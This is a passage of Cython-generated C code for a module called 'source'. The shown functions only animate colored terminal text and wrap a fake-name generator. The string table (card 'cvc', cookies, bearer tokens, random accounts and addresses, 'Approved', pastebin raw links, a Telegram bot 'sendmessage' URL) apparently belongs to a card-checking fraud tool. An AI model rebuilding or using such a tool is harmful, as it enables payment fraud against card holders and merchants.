static PyObject *__pyx_kp_u_1_92m_0m;
static PyObject *__pyx_kp_u_1_93m_0m;
static PyObject *__pyx_kp_u_1_94m_0m;
static PyObject *__pyx_kp_u_1_95m_0m;
static PyObject *__pyx_kp_u_1_96m_0m;
static PyObject *__pyx_kp_u_1_97m_0m;
static PyObject *__pyx_kp_u_1_98m_0m;
static PyObject *__pyx_kp_u_1_99m_0m;
static PyObject *__pyx_kp_u_20;
static PyObject *__pyx_kp_u_303;
static PyObject *__pyx_kp_u_38_5_153m;
static PyObject *__pyx_kp_u_5T259MnyzEQ;
static PyObject *__pyx_kp_u_6808504280_AAEeP;
static PyObject *__pyx_n_s_B;
static PyObject *__pyx_kp_u_B_6_Q;
static PyObject *__pyx_kp_u_Bearer;
static PyObject *__pyx_n_s_Bl;
static PyObject *__pyx_n_s_C;
static PyObject *__pyx_n_s_E;
static PyObject *__pyx_kp_u_E_D;
static PyObject *__pyx_kp_u_Ectracted_Failed;
static PyObject *__pyx_kp_u_Ectracted_Successfully;
static PyObject *__pyx_n_s_F;
static PyObject *__pyx_n_s_G;
static PyObject *__pyx_kp_u_G_B_A_R_Approved_R;
static PyObject *__pyx_n_s_ID;
static PyObject *__pyx_n_s_IDD;
static PyObject *__pyx_n_s_O;
static PyObject *__pyx_n_s_P;
static PyObject *__pyx_n_s_PN;
static PyObject *__pyx_kp_u_P_B_6_Q;
static PyObject *__pyx_kp_u_P_B_6_Q_C_ModcaTheLost;
static PyObject *__pyx_n_s_R;
static PyObject *__pyx_n_s_S;
static PyObject *__pyx_kp_u_T_S;
static PyObject *__pyx_n_s_UserAgent;
static PyObject *__pyx_n_s_W;
static PyObject *__pyx_n_s_X;
static PyObject *__pyx_n_s_Y;
static PyObject *__pyx_kp_u_Y_I_tg_openmessage_user_id;
static PyObject *__pyx_n_s_Z;
static PyObject *__pyx_kp_u__27;
static PyObject *__pyx_kp_u__28;
static PyObject *__pyx_kp_u__29;
static PyObject *__pyx_kp_u__30;
static PyObject *__pyx_kp_u__8;
static PyObject *__pyx_n_s_a1;
static PyObject *__pyx_n_s_a2;
static PyObject *__pyx_n_s_a3;
static PyObject *__pyx_n_s_a4;
static PyObject *__pyx_n_s_a5;
static PyObject *__pyx_n_s_a6;
static PyObject *__pyx_n_s_a7;
static PyObject *__pyx_n_s_a8;
static PyObject *__pyx_n_s_a9;
static PyObject *__pyx_n_s_acc;
static PyObject *__pyx_n_s_add_nonce;
static PyObject *__pyx_n_s_address;
static PyObject *__pyx_n_s_align;
static PyObject *__pyx_n_s_args;
static PyObject *__pyx_n_s_ascii_letters;
static PyObject *__pyx_n_s_ascii_lowercase;
static PyObject *__pyx_n_s_au;
static PyObject *__pyx_n_s_b64decode;
static PyObject *__pyx_n_s_base64;
static PyObject *__pyx_n_s_bin3;
static PyObject *__pyx_n_s_cfonts;
static PyObject *__pyx_n_s_choice;
static PyObject *__pyx_n_s_choices;
static PyObject *__pyx_n_s_cities;
static PyObject *__pyx_n_s_city;
static PyObject *__pyx_n_s_client;
static PyObject *__pyx_n_s_cline_in_traceback;
static PyObject *__pyx_n_s_close;
static PyObject *__pyx_n_s_colors;
static PyObject *__pyx_n_s_cookies;
static PyObject *__pyx_n_s_corr;
static PyObject *__pyx_n_s_cvc;
static PyObject *__pyx_n_s_data;
static PyObject *__pyx_n_s_dec;
static PyObject *__pyx_n_s_decode;
static PyObject *__pyx_n_s_digits;
static PyObject *__pyx_n_s_enc;
static PyObject *__pyx_n_s_exit;
static PyObject *__pyx_n_s_fake_useragent;
static PyObject *__pyx_n_s_file;
static PyObject *__pyx_n_s_findall;
static PyObject *__pyx_n_s_first_name;
static PyObject *__pyx_n_s_first_names;
static PyObject *__pyx_n_s_flush;
static PyObject *__pyx_n_s_follow_redirects;
static PyObject *__pyx_n_s_format;
static PyObject *__pyx_n_s_full_name;
static PyObject *__pyx_n_s_generate_address;
static PyObject *__pyx_n_s_generate_full_name;
static PyObject *__pyx_n_s_generate_random_account;
static PyObject *__pyx_n_s_generate_random_code;
static PyObject *__pyx_n_s_generate_random_code_locals_gene;
static PyObject *__pyx_n_s_generate_user_agent;
static PyObject *__pyx_n_s_genexpr;
static PyObject *__pyx_n_s_get;
static PyObject *__pyx_kp_u_gmail_com;
static PyObject *__pyx_n_s_group;
static PyObject *__pyx_n_s_headers;
static PyObject *__pyx_n_s_heron;
static PyObject *__pyx_kp_u_https_api_telegram_org_bot;
static PyObject *__pyx_kp_u_https_pastebin_com_raw_3;
static PyObject *__pyx_kp_u_https_pastebin_com_raw_9;
static PyObject *__pyx_n_s_i;
static PyObject *__pyx_n_u_icX;
static PyObject *__pyx_n_s_import;
static PyObject *__pyx_n_s_index;
static PyObject *__pyx_n_s_input;
static PyObject *__pyx_n_s_json;
static PyObject *__pyx_n_s_json_data;
static PyObject *__pyx_n_s_k;
static PyObject *__pyx_n_s_ka;
static PyObject *__pyx_n_s_last_name;
static PyObject *__pyx_n_s_last_names;
static PyObject *__pyx_n_s_length;
static PyObject *__pyx_n_s_letters_and_digits;
static PyObject *__pyx_n_s_lo;
static PyObject *__pyx_n_s_main;
static PyObject *__pyx_n_s_match;
static PyObject *__pyx_n_s_md1;
static PyObject *__pyx_n_s_md2;
static PyObject *__pyx_n_s_md3;
static PyObject *__pyx_n_s_mm;
static PyObject *__pyx_n_s_n;
static PyObject *__pyx_n_s_name;
static PyObject *__pyx_n_s_name_2;
static PyObject *__pyx_n_s_num;
static PyObject *__pyx_n_s_number;
static PyObject *__pyx_n_s_open;
static PyObject *__pyx_n_s_opm;
static PyObject *__pyx_n_s_os;
static PyObject *__pyx_n_s_output;
static PyObject *__pyx_n_s_pattern;
static PyObject *__pyx_n_s_post;
static PyObject *__pyx_n_s_print;
static PyObject *__pyx_n_s_r;
static PyObject *__pyx_n_s_randint;
static PyObject *__pyx_n_s_random;
static PyObject *__pyx_n_s_range;
static PyObject *__pyx_n_s_re;
static PyObject *__pyx_n_s_readlines;
static PyObject *__pyx_n_s_register;
static PyObject *__pyx_n_s_render;
static PyObject *__pyx_n_s_replace;
static PyObject *__pyx_n_s_requests;
static PyObject *__pyx_n_s_response;
static PyObject *__pyx_n_s_result;
static PyObject *__pyx_n_s_say;
static PyObject *__pyx_n_s_search;
static PyObject *__pyx_n_s_send;
static PyObject *__pyx_kp_u_sendmessage_chat_id;
static PyObject *__pyx_n_s_sess;
static PyObject *__pyx_n_s_session;
static PyObject *__pyx_n_s_sleep;
static PyObject *__pyx_n_s_slpn;
static PyObject *__pyx_n_s_source;
static PyObject *__pyx_kp_s_source_py;
static PyObject *__pyx_n_s_split;
static PyObject *__pyx_n_s_start_num;
static PyObject *__pyx_n_s_state;
static PyObject *__pyx_n_s_states;
static PyObject *__pyx_n_s_stdout;
static PyObject *__pyx_n_s_street_address;
static PyObject *__pyx_n_s_streets;
static PyObject *__pyx_n_s_string;
static PyObject *__pyx_n_s_sys;
static PyObject *__pyx_n_s_system;
static PyObject *__pyx_n_s_test;
static PyObject *__pyx_n_s_text;
static PyObject *__pyx_kp_u_text_C;
static PyObject *__pyx_n_s_throw;
static PyObject *__pyx_n_s_time;
static PyObject *__pyx_n_s_tok;
static PyObject *__pyx_n_s_token;
static PyObject *__pyx_n_s_url;
static PyObject *__pyx_n_s_url3;
static PyObject *__pyx_n_s_user;
static PyObject *__pyx_n_s_user_agent;
static PyObject *__pyx_n_s_username;
static PyObject *__pyx_n_u_v1k;
static PyObject *__pyx_n_u_v3i;
static PyObject *__pyx_n_s_verify;
static PyObject *__pyx_n_s_w;
static PyObject *__pyx_n_s_webbrowser;
static PyObject *__pyx_n_s_word;
static PyObject *__pyx_n_s_write;
static PyObject *__pyx_n_s_x;
static PyObject *__pyx_n_s_y;
static PyObject *__pyx_n_s_yy;
static PyObject *__pyx_n_s_zip_code;
static PyObject *__pyx_n_s_zip_codes;
static PyObject *__pyx_pf_6source_lo(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_word); /* proto */
static PyObject *__pyx_pf_6source_2generate_full_name(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_4generate_address(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_6generate_random_account(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_8username(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_10num(CYTHON_UNUSED PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_20generate_random_code_genexpr(PyObject *__pyx_self); /* proto */
static PyObject *__pyx_pf_6source_12generate_random_code(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_length); /* proto */
static PyObject *__pyx_tp_new_6source___pyx_scope_struct__generate_random_code(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/
static PyObject *__pyx_tp_new_6source___pyx_scope_struct_1_genexpr(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/
static __Pyx_CachedCFunction __pyx_umethod_PyList_Type_index = {0, &__pyx_n_s_index, 0, 0, 0};
static PyObject *__pyx_float_0_1;
static PyObject *__pyx_int_0;
static PyObject *__pyx_int_1;
static PyObject *__pyx_int_4;
static PyObject *__pyx_int_6;
static PyObject *__pyx_int_7;
static PyObject *__pyx_int_10;
static PyObject *__pyx_int_11;
static PyObject *__pyx_int_12;
static PyObject *__pyx_int_13;
static PyObject *__pyx_int_14;
static PyObject *__pyx_int_20;
static PyObject *__pyx_int_27;
static PyObject *__pyx_int_32;
static PyObject *__pyx_int_33;
static PyObject *__pyx_int_34;
static PyObject *__pyx_int_36;
static PyObject *__pyx_int_40;
static PyObject *__pyx_int_41;
static PyObject *__pyx_int_42;
static PyObject *__pyx_int_43;
static PyObject *__pyx_int_44;
static PyObject *__pyx_int_45;
static PyObject *__pyx_int_46;
static PyObject *__pyx_int_47;
static PyObject *__pyx_int_48;
static PyObject *__pyx_int_49;
static PyObject *__pyx_int_50;
static PyObject *__pyx_int_51;
static PyObject *__pyx_int_52;
static PyObject *__pyx_int_53;
static PyObject *__pyx_int_54;
static PyObject *__pyx_int_55;
static PyObject *__pyx_int_56;
static PyObject *__pyx_int_57;
static PyObject *__pyx_int_58;
static PyObject *__pyx_int_59;
static PyObject *__pyx_int_60;
static PyObject *__pyx_int_61;
static PyObject *__pyx_int_62;
static PyObject *__pyx_int_63;
static PyObject *__pyx_int_65;
static PyObject *__pyx_int_66;
static PyObject *__pyx_int_67;
static PyObject *__pyx_int_68;
static PyObject *__pyx_int_69;
static PyObject *__pyx_int_70;
static PyObject *__pyx_int_71;
static PyObject *__pyx_int_72;
static PyObject *__pyx_int_73;
static PyObject *__pyx_int_74;
static PyObject *__pyx_int_75;
static PyObject *__pyx_int_76;
static PyObject *__pyx_int_77;
static PyObject *__pyx_int_78;
static PyObject *__pyx_int_79;
static PyObject *__pyx_int_80;
static PyObject *__pyx_int_81;
static PyObject *__pyx_int_82;
static PyObject *__pyx_int_83;
static PyObject *__pyx_int_84;
static PyObject *__pyx_int_85;
static PyObject *__pyx_int_86;
static PyObject *__pyx_int_87;
static PyObject *__pyx_int_88;
static PyObject *__pyx_int_89;
static PyObject *__pyx_int_90;
static PyObject *__pyx_int_91;
static PyObject *__pyx_int_92;
static PyObject *__pyx_int_93;
static PyObject *__pyx_int_94;
static PyObject *__pyx_int_95;
static PyObject *__pyx_int_97;
static PyObject *__pyx_int_98;
static PyObject *__pyx_int_99;
static PyObject *__pyx_int_100;
static PyObject *__pyx_int_101;
static PyObject *__pyx_int_102;
static PyObject *__pyx_int_103;
static PyObject *__pyx_int_104;
static PyObject *__pyx_int_105;
static PyObject *__pyx_int_106;
static PyObject *__pyx_int_107;
static PyObject *__pyx_int_108;
static PyObject *__pyx_int_109;
static PyObject *__pyx_int_110;
static PyObject *__pyx_int_111;
static PyObject *__pyx_int_112;
static PyObject *__pyx_int_113;
static PyObject *__pyx_int_114;
static PyObject *__pyx_int_115;
static PyObject *__pyx_int_116;
static PyObject *__pyx_int_117;
static PyObject *__pyx_int_118;
static PyObject *__pyx_int_119;
static PyObject *__pyx_int_120;
static PyObject *__pyx_int_121;
static PyObject *__pyx_int_122;
static PyObject *__pyx_int_123;
static PyObject *__pyx_int_124;
static PyObject *__pyx_int_125;
static PyObject *__pyx_int_999;
static PyObject *__pyx_tuple_;
static PyObject *__pyx_tuple__2;
static PyObject *__pyx_tuple__3;
static PyObject *__pyx_tuple__4;
static PyObject *__pyx_tuple__6;
static PyObject *__pyx_tuple__7;
static PyObject *__pyx_tuple__9;
static PyObject *__pyx_slice__11;
static PyObject *__pyx_tuple__10;
static PyObject *__pyx_tuple__12;
static PyObject *__pyx_tuple__14;
static PyObject *__pyx_tuple__16;
static PyObject *__pyx_tuple__18;
static PyObject *__pyx_tuple__20;
static PyObject *__pyx_tuple__22;
static PyObject *__pyx_tuple__24;
static PyObject *__pyx_tuple__25;
static PyObject *__pyx_tuple__26;
static PyObject *__pyx_codeobj__5;
static PyObject *__pyx_codeobj__13;
static PyObject *__pyx_codeobj__15;
static PyObject *__pyx_codeobj__17;
static PyObject *__pyx_codeobj__19;
static PyObject *__pyx_codeobj__21;
static PyObject *__pyx_codeobj__23;
/* Late includes */



/* Python wrapper */
static PyObject *__pyx_pw_6source_1lo(PyObject *__pyx_self, PyObject *__pyx_v_word); /*proto*/
static PyMethodDef __pyx_mdef_6source_1lo = {"lo", (PyCFunction)__pyx_pw_6source_1lo, METH_O, 0};
static PyObject *__pyx_pw_6source_1lo(PyObject *__pyx_self, PyObject *__pyx_v_word) {
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("lo (wrapper)", 0);
  __pyx_r = __pyx_pf_6source_lo(__pyx_self, ((PyObject *)__pyx_v_word));

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

static PyObject *__pyx_pf_6source_lo(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_word) {
  PyObject *__pyx_v_heron = NULL;
  CYTHON_UNUSED long __pyx_v_i;
  Py_ssize_t __pyx_v_x;
  PyObject *__pyx_r = NULL;
  __Pyx_RefNannyDeclarations
  PyObject *__pyx_t_1 = NULL;
  long __pyx_t_2;
  Py_ssize_t __pyx_t_3;
  Py_ssize_t __pyx_t_4;
  Py_ssize_t __pyx_t_5;
  PyObject *__pyx_t_6 = NULL;
  PyObject *__pyx_t_7 = NULL;
  PyObject *__pyx_t_8 = NULL;
  PyObject *__pyx_t_9 = NULL;
  PyObject *__pyx_t_10 = NULL;
  PyObject *__pyx_t_11 = NULL;
  int __pyx_t_12;
  PyObject *__pyx_t_13 = NULL;
  int __pyx_lineno = 0;
  const char *__pyx_filename = NULL;
  int __pyx_clineno = 0;
  __Pyx_RefNannySetupContext("lo", 0);

  
  __pyx_t_1 = PyList_New(10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 88, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_1);
  __Pyx_INCREF(__pyx_kp_u_1_91m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_91m_0m);
  PyList_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u_1_91m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_92m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_92m_0m);
  PyList_SET_ITEM(__pyx_t_1, 1, __pyx_kp_u_1_92m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_93m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_93m_0m);
  PyList_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u_1_93m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_94m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_94m_0m);
  PyList_SET_ITEM(__pyx_t_1, 3, __pyx_kp_u_1_94m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_95m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_95m_0m);
  PyList_SET_ITEM(__pyx_t_1, 4, __pyx_kp_u_1_95m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_96m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_96m_0m);
  PyList_SET_ITEM(__pyx_t_1, 5, __pyx_kp_u_1_96m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_97m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_97m_0m);
  PyList_SET_ITEM(__pyx_t_1, 6, __pyx_kp_u_1_97m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_98m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_98m_0m);
  PyList_SET_ITEM(__pyx_t_1, 7, __pyx_kp_u_1_98m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_99m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_99m_0m);
  PyList_SET_ITEM(__pyx_t_1, 8, __pyx_kp_u_1_99m_0m);
  __Pyx_INCREF(__pyx_kp_u_1_910m_0m);
  __Pyx_GIVEREF(__pyx_kp_u_1_910m_0m);
  PyList_SET_ITEM(__pyx_t_1, 9, __pyx_kp_u_1_910m_0m);
  __pyx_v_heron = ((PyObject*)__pyx_t_1);
  __pyx_t_1 = 0;

  
  for (__pyx_t_2 = 0; __pyx_t_2 < 5; __pyx_t_2+=1) {
    __pyx_v_i = __pyx_t_2;

    
    __pyx_t_3 = PyList_GET_SIZE(__pyx_v_heron); if (unlikely(__pyx_t_3 == ((Py_ssize_t)-1))) __PYX_ERR(0, 100, __pyx_L1_error)
    __pyx_t_4 = __pyx_t_3;
    for (__pyx_t_5 = 0; __pyx_t_5 < __pyx_t_4; __pyx_t_5+=1) {
      __pyx_v_x = __pyx_t_5;

      
      __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_sys); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_6);
      __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_stdout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_7);
      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
      __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_write); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_6);
      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
      __pyx_t_8 = PyList_New(5); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_8);
      __Pyx_INCREF(__pyx_int_13);
      __Pyx_GIVEREF(__pyx_int_13);
      PyList_SET_ITEM(__pyx_t_8, 0, __pyx_int_13);
      __Pyx_INCREF(__pyx_int_123);
      __Pyx_GIVEREF(__pyx_int_123);
      PyList_SET_ITEM(__pyx_t_8, 1, __pyx_int_123);
      __Pyx_INCREF(__pyx_int_125);
      __Pyx_GIVEREF(__pyx_int_125);
      PyList_SET_ITEM(__pyx_t_8, 2, __pyx_int_125);
      __Pyx_INCREF(__pyx_int_123);
      __Pyx_GIVEREF(__pyx_int_123);
      PyList_SET_ITEM(__pyx_t_8, 3, __pyx_int_123);
      __Pyx_INCREF(__pyx_int_125);
      __Pyx_GIVEREF(__pyx_int_125);
      PyList_SET_ITEM(__pyx_t_8, 4, __pyx_int_125);
      __pyx_t_9 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_8); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
      __pyx_t_8 = __Pyx_decode_bytes(__pyx_t_9, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_8);
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_format); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_9);
      __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
      __pyx_t_8 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyUnicode_Type)), __pyx_v_word); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_8);
      __pyx_t_10 = __Pyx_GetItemInt_List(__pyx_v_heron, __pyx_v_x, Py_ssize_t, 1, PyInt_FromSsize_t, 1, 1, 1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_10);
      __pyx_t_11 = NULL;
      __pyx_t_12 = 0;
      if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_9))) {
        __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_9);
        if (likely(__pyx_t_11)) {
          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_9);
          __Pyx_INCREF(__pyx_t_11);
          __Pyx_INCREF(function);
          __Pyx_DECREF_SET(__pyx_t_9, function);
          __pyx_t_12 = 1;
        }
      }
      #if CYTHON_FAST_PYCALL
      if (PyFunction_Check(__pyx_t_9)) {
        PyObject *__pyx_temp[3] = {__pyx_t_11, __pyx_t_8, __pyx_t_10};
        __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L1_error)
        __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0;
        __Pyx_GOTREF(__pyx_t_7);
        __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
        __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      } else
      #endif
      #if CYTHON_FAST_PYCCALL
      if (__Pyx_PyFastCFunction_Check(__pyx_t_9)) {
        PyObject *__pyx_temp[3] = {__pyx_t_11, __pyx_t_8, __pyx_t_10};
        __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_9, __pyx_temp+1-__pyx_t_12, 2+__pyx_t_12); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L1_error)
        __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0;
        __Pyx_GOTREF(__pyx_t_7);
        __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0;
        __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0;
      } else
      #endif
      {
        __pyx_t_13 = PyTuple_New(2+__pyx_t_12); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 101, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_13);
        if (__pyx_t_11) {
          __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL;
        }
        __Pyx_GIVEREF(__pyx_t_8);
        PyTuple_SET_ITEM(__pyx_t_13, 0+__pyx_t_12, __pyx_t_8);
        __Pyx_GIVEREF(__pyx_t_10);
        PyTuple_SET_ITEM(__pyx_t_13, 1+__pyx_t_12, __pyx_t_10);
        __pyx_t_8 = 0;
        __pyx_t_10 = 0;
        __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_t_13, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 101, __pyx_L1_error)
        __Pyx_GOTREF(__pyx_t_7);
        __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0;
      }
      __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0;
      __pyx_t_9 = NULL;
      if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) {
        __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_6);
        if (likely(__pyx_t_9)) {
          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6);
          __Pyx_INCREF(__pyx_t_9);
          __Pyx_INCREF(function);
          __Pyx_DECREF_SET(__pyx_t_6, function);
        }
      }
      __pyx_t_1 = (__pyx_t_9) ? __Pyx_PyObject_Call2Args(__pyx_t_6, __pyx_t_9, __pyx_t_7) : __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_7);
      __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0;
      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
      if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 101, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

      
      __Pyx_GetModuleGlobalName(__pyx_t_6, __pyx_n_s_time); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 102, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_6);
      __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_sleep); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 102, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_7);
      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
      __pyx_t_6 = NULL;
      if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_7))) {
        __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7);
        if (likely(__pyx_t_6)) {
          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7);
          __Pyx_INCREF(__pyx_t_6);
          __Pyx_INCREF(function);
          __Pyx_DECREF_SET(__pyx_t_7, function);
        }
      }
      __pyx_t_1 = (__pyx_t_6) ? __Pyx_PyObject_Call2Args(__pyx_t_7, __pyx_t_6, __pyx_float_0_1) : __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_float_0_1);
      __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
      if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 102, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;

      
      __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_sys); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_7);
      __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_stdout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 103, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_6);
      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
      __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_flush); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 103, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_7);
      __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
      __pyx_t_6 = NULL;
      if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) {
        __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_7);
        if (likely(__pyx_t_6)) {
          PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7);
          __Pyx_INCREF(__pyx_t_6);
          __Pyx_INCREF(function);
          __Pyx_DECREF_SET(__pyx_t_7, function);
        }
      }
      __pyx_t_1 = (__pyx_t_6) ? __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_6) : __Pyx_PyObject_CallNoArg(__pyx_t_7);
      __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0;
      if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 103, __pyx_L1_error)
      __Pyx_GOTREF(__pyx_t_1);
      __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0;
      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;
    }
  }

  

  /* function exit code */
  __pyx_r = Py_None; __Pyx_INCREF(Py_None);
  goto __pyx_L0;
  __pyx_L1_error:;
  __Pyx_XDECREF(__pyx_t_1);
  __Pyx_XDECREF(__pyx_t_6);
  __Pyx_XDECREF(__pyx_t_7);
  __Pyx_XDECREF(__pyx_t_8);
  __Pyx_XDECREF(__pyx_t_9);
  __Pyx_XDECREF(__pyx_t_10);
  __Pyx_XDECREF(__pyx_t_11);
  __Pyx_XDECREF(__pyx_t_13);
  __Pyx_AddTraceback("source.lo", __pyx_clineno, __pyx_lineno, __pyx_filename);
  __pyx_r = NULL;
  __pyx_L0:;
  __Pyx_XDECREF(__pyx_v_heron);
  __Pyx_XGIVEREF(__pyx_r);
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}



/* Python wrapper */
static PyObject *__pyx_pw_6source_3generate_full_name(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused); /*proto*/
static PyMethodDef __pyx_mdef_6source_3generate_full_name = {"generate_full_name", (PyCFunction)__pyx_pw_6source_3generate_full_name, METH_NOARGS, 0};
static PyObject *__pyx_pw_6source_3generate_full_name(PyObject *__pyx_self, CYTHON_UNUSED PyObject *unused) {
  PyObject *__pyx_r = 0;
  __Pyx_RefNannyDeclarations
  __Pyx_RefNannySetupContext("generate_full_name (wrapper)", 0);
  __pyx_r = __pyx_pf_6source_2generate_full_name(__pyx_self);

  /* function exit code */
  __Pyx_RefNannyFinishContext();
  return __pyx_r;
}

